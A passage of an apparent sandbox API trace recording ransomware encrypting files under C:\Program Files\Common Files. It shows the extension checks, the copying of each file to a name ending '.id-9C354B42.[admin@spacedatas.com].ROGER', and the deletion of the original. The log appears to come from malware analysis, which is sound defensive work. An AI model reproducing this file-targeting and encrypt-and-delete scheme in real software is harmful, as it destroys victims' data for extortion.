Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.475] lstrlenW (lpString=".1cd") returned 4 [0052.475] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.475] lstrlenW (lpString=".jpg") returned 4 [0052.475] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.475] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0052.476] lstrlenW (lpString="extensions.exe") returned 14 [0052.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\extensions.exe" (normalized: "c:\\program files\\common files\\extensions.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0052.476] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=78336) returned 1 [0052.476] CloseHandle (hObject=0x3a8) returned 1 [0052.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\extensions.exe" (normalized: "c:\\program files\\common files\\extensions.exe")) returned 0x20 [0052.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\extensions.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\extensions.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\extensions.exe" (normalized: "c:\\program files\\common files\\extensions.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.476] lstrlenW (lpString=".doc") returned 4 [0052.476] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.476] lstrlenW (lpString=".docx") returned 5 [0052.477] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0052.477] lstrlenW (lpString=".pdf") returned 4 [0052.477] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString=".xls") returned 4 [0052.477] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString=".xlsx") returned 5 [0052.477] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0052.477] lstrlenW (lpString=".ppt") returned 4 [0052.477] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString=".zip") returned 4 [0052.477] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString=".rar") returned 4 [0052.477] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString=".bz2") returned 4 [0052.477] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.477] lstrlenW (lpString=".7z") returned 3 [0052.477] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString=".dbf") returned 4 [0052.477] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString=".1cd") returned 4 [0052.477] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString=".jpg") returned 4 [0052.477] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.477] lstrlenW (lpString=".doc") returned 4 [0052.477] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.477] lstrlenW (lpString=".docx") returned 5 [0052.478] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0052.478] lstrlenW (lpString=".pdf") returned 4 [0052.478] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.478] lstrlenW (lpString=".xls") returned 4 [0052.478] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.478] lstrlenW (lpString=".xlsx") returned 5 [0052.478] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0052.478] lstrlenW (lpString=".ppt") returned 4 [0052.478] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.478] lstrlenW (lpString=".zip") returned 4 [0052.478] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.478] lstrlenW (lpString=".rar") returned 4 [0052.478] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.478] lstrlenW (lpString=".bz2") returned 4 [0052.478] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.478] lstrlenW (lpString=".7z") returned 3 [0052.478] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.478] lstrlenW (lpString=".dbf") returned 4 [0052.478] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.478] lstrlenW (lpString=".1cd") returned 4 [0052.478] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\extensions.exe") returned 44 [0052.478] lstrlenW (lpString=".jpg") returned 4 [0052.478] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.478] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0052.478] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0052.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.748] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=1369952) returned 1 [0052.748] CloseHandle (hObject=0x3ac) returned 1 [0052.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0052.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.748] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.748] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.749] GetLastError () returned 0x0 [0052.749] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.772] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.791] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0052.803] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0052.817] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.818] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.818] SetEndOfFile (hFile=0x358) returned 1 [0052.818] CloseHandle (hObject=0x358) returned 1 [0052.818] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.818] SetEndOfFile (hFile=0x3ac) returned 1 [0052.821] CloseHandle (hObject=0x3ac) returned 1 [0052.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0052.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.822] lstrlenW (lpString=".doc") returned 4 [0052.822] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString=".docx") returned 5 [0052.822] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0052.822] lstrlenW (lpString=".pdf") returned 4 [0052.822] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString=".xls") returned 4 [0052.822] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString=".xlsx") returned 5 [0052.822] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0052.822] lstrlenW (lpString=".ppt") returned 4 [0052.822] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.822] lstrlenW (lpString=".zip") returned 4 [0052.822] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString=".rar") returned 4 [0052.822] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.822] lstrlenW (lpString=".bz2") returned 4 [0052.822] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.822] lstrlenW (lpString=".7z") returned 3 [0052.822] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.822] lstrlenW (lpString=".dbf") returned 4 [0052.822] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.822] lstrlenW (lpString=".1cd") returned 4 [0052.823] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.823] lstrlenW (lpString=".jpg") returned 4 [0052.823] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.823] lstrlenW (lpString=".doc") returned 4 [0052.823] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString=".docx") returned 5 [0052.823] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0052.823] lstrlenW (lpString=".pdf") returned 4 [0052.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString=".xls") returned 4 [0052.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString=".xlsx") returned 5 [0052.823] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0052.823] lstrlenW (lpString=".ppt") returned 4 [0052.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.823] lstrlenW (lpString=".zip") returned 4 [0052.823] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString=".rar") returned 4 [0052.823] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.823] lstrlenW (lpString=".bz2") returned 4 [0052.823] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.823] lstrlenW (lpString=".7z") returned 3 [0052.823] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.823] lstrlenW (lpString=".dbf") returned 4 [0052.823] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.824] lstrlenW (lpString=".1cd") returned 4 [0052.824] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0052.824] lstrlenW (lpString=".jpg") returned 4 [0052.824] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.824] lstrcmpiW (lpString1=".TTF", lpString2=".ROGER") returned 1 [0052.824] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0052.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.824] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=7656) returned 1 [0052.824] CloseHandle (hObject=0x3ac) returned 1 [0052.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0052.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.825] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.825] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.840] GetLastError () returned 0x0 [0052.840] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0052.841] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0052.842] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.842] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.842] SetEndOfFile (hFile=0x358) returned 1 [0052.842] CloseHandle (hObject=0x358) returned 1 [0052.843] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.843] SetEndOfFile (hFile=0x3ac) returned 1 [0052.844] CloseHandle (hObject=0x3ac) returned 1 [0052.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.844] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0052.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.844] lstrlenW (lpString=".doc") returned 4 [0052.844] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0052.844] lstrlenW (lpString=".docx") returned 5 [0052.844] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0052.844] lstrlenW (lpString=".pdf") returned 4 [0052.844] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0052.844] lstrlenW (lpString=".xls") returned 4 [0052.844] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0052.844] lstrlenW (lpString=".xlsx") returned 5 [0052.844] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0052.844] lstrlenW (lpString=".ppt") returned 4 [0052.844] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0052.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.844] lstrlenW (lpString=".zip") returned 4 [0052.845] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0052.845] lstrlenW (lpString=".rar") returned 4 [0052.845] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString=".bz2") returned 4 [0052.845] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString=".7z") returned 3 [0052.845] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString=".dbf") returned 4 [0052.845] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString=".1cd") returned 4 [0052.845] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString=".jpg") returned 4 [0052.845] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString=".doc") returned 4 [0052.845] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString=".docx") returned 5 [0052.845] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0052.845] lstrlenW (lpString=".pdf") returned 4 [0052.845] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString=".xls") returned 4 [0052.845] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0052.845] lstrlenW (lpString=".xlsx") returned 5 [0052.845] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0052.845] lstrlenW (lpString=".ppt") returned 4 [0052.845] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0052.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.845] lstrlenW (lpString=".zip") returned 4 [0052.846] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0052.846] lstrlenW (lpString=".rar") returned 4 [0052.846] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0052.846] lstrlenW (lpString=".bz2") returned 4 [0052.846] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0052.846] lstrlenW (lpString=".7z") returned 3 [0052.846] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0052.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.846] lstrlenW (lpString=".dbf") returned 4 [0052.846] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0052.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.846] lstrlenW (lpString=".1cd") returned 4 [0052.846] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0052.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.846] lstrlenW (lpString=".jpg") returned 4 [0052.846] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0052.846] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0052.846] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0052.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.847] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=31104) returned 1 [0052.847] CloseHandle (hObject=0x3ac) returned 1 [0052.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0052.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0052.847] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.847] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0052.848] GetLastError () returned 0x0 [0052.848] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x7980, lpOverlapped=0x0) returned 1 [0052.883] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0052.885] ReadFile (in: hFile=0x3ac, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.885] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, 